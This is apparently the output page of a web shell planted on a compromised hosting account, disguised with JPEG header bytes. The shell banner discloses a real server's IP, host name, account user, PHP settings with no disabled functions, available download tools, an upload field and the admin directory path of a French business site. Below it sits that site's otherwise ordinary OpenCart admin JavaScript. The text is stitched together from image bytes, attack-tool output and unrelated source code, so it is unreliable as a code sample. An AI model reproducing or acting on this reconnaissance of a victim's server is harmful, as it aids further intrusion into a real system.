ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/ab-location-services.fr/cp-admin/view/javascript/ |
Upload File : |
function getURLVar(key) {
var value = [];
var query = String(document.location).split('?');
if (query[1]) {
var part = query[1].split('&');
for (i = 0; i < part.length; i++) {
var data = part[i].split('=');
if (data[0] && data[1]) {
value[data[0]] = data[1];
}
}
if (value[key]) {
return value[key];
} else {
return '';
}
}
}
$(document).ready(function() {
//Form Submit for IE Browser
$('button[type=\'submit\']').on('click', function() {
$("form[id*='form-']").submit();
});
// Highlight any found errors
$('.text-danger').each(function() {
var element = $(this).parent().parent();
if (element.hasClass('form-group')) {
element.addClass('has-error');
}
});
// Set last page opened on the menu
$('#menu a[href]').on('click', function() {
sessionStorage.setItem('menu', $(this).attr('href'));
});
if (!sessionStorage.getItem('menu')) {
$('#menu #dashboard').addClass('active');
} else {
// Sets active and open to selected page in the left column menu.
$('#menu a[href=\'' + sessionStorage.getItem('menu') + '\']').parents('li').addClass('active open');
}
if (localStorage.getItem('column-left') == 'active') {
$('#button-menu i').replaceWith('<i class="fa fa-dedent fa-lg"></i>');
$('#column-left').addClass('active');
// Slide Down Menu
$('#menu li.active').has('ul').children('ul').addClass('collapse in');
$('#menu li').not('.active').has('ul').children('ul').addClass('collapse');
} else {
$('#button-menu i').replaceWith('<i class="fa fa-indent fa-lg"></i>');
$('#menu li li.active').has('ul').children('ul').addClass('collapse in');
$('#menu li li').not('.active').has('ul').children('ul').addClass('collapse');
}
// Menu button
$('#button-menu').on('click', function() {
// Checks if the left column is active or not.
if ($('#column-left').hasClass('active')) {
localStorage.setItem('column-left', '');
$('#button-menu i').replaceWith('<i class="fa fa-indent fa-lg"></i>');
$('#column-left').removeClass('active');
$('#menu > li > ul').removeClass('in collapse');
$('#menu > li > ul').removeAttr('style');
} else {
localStorage.setItem('column-left', 'active');
$('#button-menu i').replaceWith('<i class="fa fa-dedent fa-lg"></i>');
$('#column-left').addClass('active');
// Add the slide down to open menu items
$('#menu li.open').has('ul').children('ul').addClass('collapse in');
$('#menu li').not('.open').has('ul').children('ul').addClass('collapse');
}
});
// Menu
$('#menu').find('li').has('ul').children('a').on('click', function() {
if ($('#column-left').hasClass('active')) {
$(this).parent('li').toggleClass('open').children('ul').collapse('toggle');
$(this).parent('li').siblings().removeClass('open').children('ul.in').collapse('hide');
} else if (!$(this).parent().parent().is('#menu')) {
$(this).parent('li').toggleClass('open').children('ul').collapse('toggle');
$(this).parent('li').siblings().removeClass('open').children('ul.in').collapse('hide');
}
});
// Override summernotes image manager
$('button[data-event=\'showImageDialog\']').attr('data-toggle', 'image').removeAttr('data-event');
$(document).delegate('button[data-toggle=\'image\']', 'click', function() {
$('#modal-image').remove();
$.ajax({
url: 'index.php?route=common/filemanager&token=' + getURLVar('token'),
dataType: 'html',
beforeSend: function() {
$('#button-image i').replaceWith('<i class="fa fa-circle-o-notch fa-spin"></i>');
$('#button-image').prop('disabled', true);
},
complete: function() {
$('#button-image i').replaceWith('<i class="fa fa-upload"></i>');
$('#button-image').prop('disabled', false);
},
success: function(html) {
$('body').append('<div id="modal-image" class="modal">' + html + '</div>');
$('#modal-image').modal('show');
}
});
});
// Image Manager
$(document).delegate('a[data-toggle=\'image\']', 'click', function(e) {
e.preventDefault();
var element = this;
$(element).popover({
html: true,
placement: 'right',
trigger: 'manual',
content: function() {
return '<button type="button" id="button-image" class="btn btn-primary"><i class="fa fa-pencil"></i></button> <button type="button" id="button-clear" class="btn btn-danger"><i class="fa fa-trash-o"></i></button>';
}
});
$(element).popover('toggle');
$('#button-image').on('click', function() {
$('#modal-image').remove();
$.ajax({
url: 'index.php?route=common/filemanager&token=' + getURLVar('token') + '&target=' + $(element).parent().find('input').attr('id') + '&thumb=' + $(element).attr('id'),
dataType: 'html',
beforeSend: function() {
$('#button-image i').replaceWith('<i class="fa fa-circle-o-notch fa-spin"></i>');
$('#button-image').prop('disabled', true);
},
complete: function() {
$('#button-image i').replaceWith('<i class="fa fa-upload"></i>');
$('#button-image').prop('disabled', false);
},
success: function(html) {
$('body').append('<div id="modal-image" class="modal">' + html + '</div>');
$('#modal-image').modal('show');
}
});
$(element).popover('hide');
});
$('#button-clear').on('click', function() {
$(element).find('img').attr('src', $(element).find('img').attr('data-placeholder'));
$(element).parent().find('input').attr('value', '');
$(element).popover('hide');
});
});
// tooltips on hover
$('[data-toggle=\'tooltip\']').tooltip({container: 'body', html: true});
// Makes tooltips work on ajax generated content
$(document).ajaxStop(function() {
$('[data-toggle=\'tooltip\']').tooltip({container: 'body'});
});
});
// Autocomplete */
(function($) {
function Autocomplete(element, options) {
this.element = element;
this.options = options;
this.timer = null;
this.items = new Array();
$(element).attr('autocomplete', 'off');
$(element).on('focus', $.proxy(this.focus, this));
$(element).on('blur', $.proxy(this.blur, this));
$(element).on('keydown', $.proxy(this.keydown, this));
$(element).after('<ul class="dropdown-menu"></ul>');
$(element).siblings('ul.dropdown-menu').delegate('a', 'click', $.proxy(this.click, this));
}
Autocomplete.prototype = {
focus: function() {
this.request();
},
blur: function() {
setTimeout(function(object) {
object.hide();
}, 200, this);
},
click: function(event) {
event.preventDefault();
value = $(event.target).parent().attr('data-value');
if (value && this.items[value]) {
this.options.select(this.items[value]);
}
},
keydown: function(event) {
switch(event.keyCode) {
case 27: // escape
this.hide();
break;
default:
this.request();
break;
}
},
show: function() {
var pos = $(this.element).position();
$(this.element).siblings('ul.dropdown-menu').css({
top: pos.top + $(this.element).outerHeight(),
left: pos.left
});
$(this.element).siblings('ul.dropdown-menu').show();
},
hide: function() {
$(this.element).siblings('ul.dropdown-menu').hide();
},
request: function() {
clearTimeout(this.timer);
this.timer = setTimeout(function(object) {
object.options.source($(object.element).val(), $.proxy(object.response, object));
}, 200, this);
},
response: function(json) {
html = '';
if (json.length) {
for (i = 0; i < json.length; i++) {
this.items[json[i]['value']] = json[i];
}
for (i = 0; i < json.length; i++) {
if (!json[i]['category']) {
html += '<li data-value="' + json[i]['value'] + '"><a href="#">' + json[i]['label'] + '</a></li>';
}
}
// Get all the ones with a categories
var category = new Array();
for (i = 0; i < json.length; i++) {
if (json[i]['category']) {
if (!category[json[i]['category']]) {
category[json[i]['category']] = new Array();
category[json[i]['category']]['name'] = json[i]['category'];
category[json[i]['category']]['item'] = new Array();
}
category[json[i]['category']]['item'].push(json[i]);
}
}
for (i in category) {
html += '<li class="dropdown-header">' + category[i]['name'] + '</li>';
for (j = 0; j < category[i]['item'].length; j++) {
html += '<li data-value="' + category[i]['item'][j]['value'] + '"><a href="#"> ' + category[i]['item'][j]['label'] + '</a></li>';
}
}
}
if (html) {
this.show();
} else {
this.hide();
}
$(this.element).siblings('ul.dropdown-menu').html(html);
}
};
$.fn.autocomplete = function(option) {
return this.each(function() {
var data = $(this).data('autocomplete');
if (!data) {
data = new Autocomplete(this, option);
$(this).data('autocomplete', data);
}
});
}
})(window.jQuery);